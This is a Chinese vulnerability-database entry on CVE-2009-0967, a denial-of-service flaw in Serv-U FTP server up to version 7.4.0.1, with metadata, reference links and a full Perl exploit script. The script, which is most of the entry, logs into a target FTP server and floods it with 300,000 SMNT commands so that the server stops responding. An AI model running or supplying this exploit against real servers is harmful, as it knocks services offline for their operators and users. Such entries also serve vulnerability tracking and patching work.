Serv-U FTP服务器SMNT命令远程拒绝服务漏洞

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漏洞ID 1117480 漏洞类型 资源管理错误
发布时间 2009-03-16 更新时间 2009-03-19
CVE编号 CVE-2009-0967 CNNVD-ID CNNVD-200903-324
漏洞平台 Windows CVSS评分 4.0
|漏洞来源
https://www.exploit-db.com/exploits/8212
https://cxsecurity.com/issue/WLB-2009030189
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-324
|漏洞详情
SolarWindsServ-UFTPServer是美国SolarWinds公司的一套FTP服务器软件。该软件提供修改FTP密码、控制带宽、断点续传等功能。Serv-U7.0.0.1至7.4.0.1版本的FTP服务器中存在资源管理错误漏洞。远程攻击者可通过向Serv-UFTP服务器发送特制SMNT请求,导致服务器停止响应。
|漏洞EXP
#!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# Denial of Service in Serv-u up to 7.4.0.1 (no crash)
# Just the server is saturated, it stops responding.
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";

	if (@ARGV < 3)
		{
 		print "[*] Usage: <serv-u.pl> <host> <port>\n";
 		print "[*] Exemple: serv-u.pl 127.0.0.1 21 jonathan toto\n";
 		exit;
		}

	$ip 	= $ARGV[0];
	$port 	= $ARGV[1];
	$user	= $ARGV[2];
	$pass	= $ARGV[3];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";

print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";


$evil =	"SMNT\r\n" x 300000;

$after = "\x2A\x2A";

	print $socket "USER $user\r\n";
	print $socket "PASS $pass.$after\r\n";
	print $socket "$evil";
	
		sleep(1);	
		close($socket);

print "[+]Done! the server is saturated.\n";

# milw0rm.com [2009-03-16]
|参考资料

来源:XF
名称:servuftp-smnt-dos(49260)
链接:http://xforce.iss.net/xforce/xfdb/49260
来源:BID
名称:34127
链接:http://www.securityfocus.com/bid/34127
来源:MILW0RM
名称:8212
链接:http://www.milw0rm.com/exploits/8212